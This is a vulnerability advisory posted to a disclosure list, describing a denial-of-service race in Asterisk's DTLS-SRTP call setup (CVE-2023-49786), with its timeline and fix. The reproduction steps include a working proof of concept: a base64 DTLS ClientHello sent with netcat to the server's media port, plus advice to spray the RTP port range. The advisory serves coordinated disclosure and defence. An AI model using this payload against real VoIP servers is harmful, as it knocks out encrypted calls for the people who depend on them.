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[FD] [ES2023-01] Asterisk susceptible to Denial of Service via DTLS Hello packets during call initiation



# Asterisk susceptible to Denial of Service via DTLS Hello packets during call 
initiation

- Fixed versions: 18.20.1, 20.5.1, 21.0.1,18.9-cert6
- Enable Security Advisory: 
https://github.com/EnableSecurity/advisories/tree/master/ES2023-01-asterisk-dtls-hello-race
- Vendor Security Advisory: 
https://github.com/asterisk/asterisk/security/advisories/GHSA-hxj9-xwr8-w8pq
- Other references: CVE-2023-49786
- Tested vulnerable versions: 20.1.0
- Timeline:
        - Report date: 2023-09-27
        - Triaged: 2023-09-27
        - Fix provided for testing: 2023-11-09
        - Vendor release with fix: 2023-12-14
        - Enable Security advisory: 2023-12-15

## TL;DR

When handling DTLS-SRTP for media setup, Asterisk is susceptible to Denial of 
Service due to a race condition in the hello handshake phase of the DTLS 
protocol. This attack can be done continuously, thus denying new DTLS-SRTP 
encrypted calls during the attack.

## Description

Our research has shown that key establishment for Secure Real-time Transport 
Protocol (SRTP) using Datagram Transport Layer Security Extension (DTLS)[^1] is 
susceptible to a Denial of Service attack due to a race condition. If an 
attacker manages to send a ClientHello DTLS message with an invalid CipherSuite 
(such as `TLS_NULL_WITH_NULL_NULL`) to the port on the Asterisk server that is 
expecting packets from the caller, a DTLS error is generated. This results in 
the media session being torn down, which is followed by teardown at signaling 
(SIP) level too.

This behavior was tested against Asterisk version 20.1.0, which was found to be 
vulnerable to this issue.

The following sequence diagram shows the normal flow (i.e. no attack) involving 
SIP, STUN and DTLS messages between a UAC (the Caller) and an Asterisk server 
capable of handling WebRTC calls.

Diagram showing a call setup against Asterisk that uses SIP, STUN and DTLS: 
https://github.com/EnableSecurity/advisories/blob/master/ES2023-01-asterisk-dtls-hello-race/resources/valid.png

In a controlled experiment, it was observed that when the Attacker sent a DTLS 
ClientHello to Asterisk's media port from a different IP and port, Asterisk 
responded by sending a DTLS Alert to the Caller. Additionally, Asterisk 
terminated the SIP call by sending a BYE message to the Caller.

Diagram showing a call setup against Asterisk that fails due to an attacker 
controlled DTLS ClientHello:
https://github.com/EnableSecurity/advisories/blob/master/ES2023-01-asterisk-dtls-hello-race/resources/dos.png

During a real attack, the attacker would spray a vulnerable Asterisk server 
with DTLS ClientHello messages. The attacker would typically target the range 
of UDP ports allocated for RTP. When the ClientHello message from the Attacker 
wins the race against an expected ClientHello from the Caller, the call 
terminates, resulting in Denial of Service.

## Impact

Abuse of this vulnerability may lead to a massive Denial of Service on 
vulnerable Asterisk servers for calls that rely on DTLS-SRTP.

## How to reproduce the issue

1. Prepare an Asterisk server with an extension configured to handle WebRTC; 
this may involve the following `pjsip.conf` and `extensions.conf` configuration 
updates:

    `pjsip.conf`
    ```ini
        [transport-tls-nat]
        type = transport
        protocol = wss
        bind = 172.17.0.2

        [webrtc_client]
        type=aor
        max_contacts=5
        remove_existing=yes

        [webrtc_client]
        type=auth
        auth_type=userpass
        username=3456
        password=3456

        [3456]
        type=endpoint
        aors=webrtc_client
        auth=webrtc_client
        dtls_auto_generate_cert=yes
        webrtc=yes
        context=default
        disallow=all
        allow=opus,ulaw
        ```

        `extensions.conf`
        ```ini
        [globals]

        [default]
        exten = _XXXX,1,Verbose(1, "User ${CALLERID(num)} dialed ${EXTEN}.")
                same => n,Playback(demo-congrats)
                same => n,Hangup()
        ```
1. Send an INVITE message to the target server with WebRTC SDP:

    ```default
        INVITE sip:1000@192.168.1.202 SIP/2.0
        Via: SIP/2.0/WSS 
192.168.1.202:36742;rport=36742;branch=z9hG4bK-4RHtimOzaIkHeUDU
        Max-Forwards: 70
        From: <sip:3456@192.168.1.202>;tag=cnbsc3nNX2ydugl4
        To: <sip:1000@192.168.1.202>
        Contact: <sip:3456@192.168.1.202>
        Call-ID: VaglTzNRBSuvPPdw
        CSeq: 5 INVITE
        Content-Type: application/sdp
        Content-Length: 563

        v=0
        o=- 1695296401 1695296401 IN IP4 192.168.1.202
        s=-
        t=0 0
        c=IN IP4 192.168.1.202
        m=audio 36866 UDP/TLS/RTP/SAVPF 0 8 101
        a=setup:active
        a=fingerprint:sha-256 
49:05:98:B2:15:43:1C:9C:4F:29:07:60:F8:63:77:16:80:F9:44:C0:97:8E:E5:48:D6:71:B4:03:10:85:D6:E3
        a=rtpmap:0 PCMU/8000/1
        a=rtpmap:8 PCMA/8000/1
        a=rtpmap:101 telephone-event/8000
        a=ice-ufrag:IOZyOSQkVywevryI
        a=ice-pwd:UQUtRMZKFERnmZqQdaggFzJBhcWVxabr
        a=candidate:6249488300 1 udp 2130706431 192.168.1.202 36866 typ host 
generation 0
        a=end-of-candidates
        a=rtcp-mux
        a=rtcprsize
        a=sendrecv

        ```
1. Note Asterisk's media port and IP values, which will be used as the 
`<asterisk-ip>` and `<media-port>` parameters by the Attacker
1. When the call has been established, send a STUN binding request which has 
the appropriate Username, Message-Integrity and  Ice-Controlled properties
1. When the Binding Success Response message is received, send a DTLS 
ClientHello message from a (attacker-controlled) host, which is different from 
the Caller but has network access to the Asterisk server

    ```bash
        CLIENT_HELLO="Fv7/AAAAAAAAAAAAfAEAAHAAAAAAAAAAcP79AAA" 
        CLIENT_HELLO="${CLIENT_HELLO}AAG4HCVaUNVbYVmxuqdn2WyCgtTijhZ+WheP/+H"
        CLIENT_HELLO="${CLIENT_HELLO}4AAAACAAABAABEABcAAP8BAAEAAAoACAAGAB0AF"
        CLIENT_HELLO="${CLIENT_HELLO}wAYAAsAAgEAACMAAAANABQAEgQDCAQEAQUDCAUF"
        CLIENT_HELLO="${CLIENT_HELLO}AQgGBgECAQAOAAkABgABAAgABwA="
        echo -n "${CLIENT_HELLO}" | base64 --decode | nc -u <asterisk-ip> 
<media-port>
        ```
1. Observe that the Caller receives a DTLS Alert message and a SIP BYE message 
on its signaling channel

Note that the above steps are used to reliably reproduce the vulnerability. In 
the case of a real attack, the attacker simply has to spray the Asterisk server 
with DTLS messages.


## Solution and recommendations

To address this vulnerability, upgrade Asterisk to the latest version which 
includes the security fix. The solution implemented is to drop all packets from 
addresses that have not been validated by an ICE check.

## About Enable Security

[Enable Security](https://www.enablesecurity.com) develops offensive security 
tools and provides quality penetration testing to help protect your real-time 
communications systems against attack.

## Disclaimer

The information in the advisory is believed to be accurate at the time of 
publishing based on currently available information. Use of the information 
constitutes acceptance for use in an AS IS condition. There are no warranties 
with regard to this information. Neither the author nor the publisher accepts 
any liability for any direct, indirect, or consequential loss or damage arising 
from use of, or reliance on, this information.

## Disclosure policy

This report is subject to Enable Security's vulnerability disclosure policy 
which can be found at 
<https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy>.

[^1]: Datagram Transport Layer Security (DTLS) Extension to Establish Keys for 
the Secure Real-time Transport Protocol (SRTP) 
https://datatracker.ietf.org/doc/html/rfc5764


--
 
    Sandro Gauci, CEO at Enable Security GmbH

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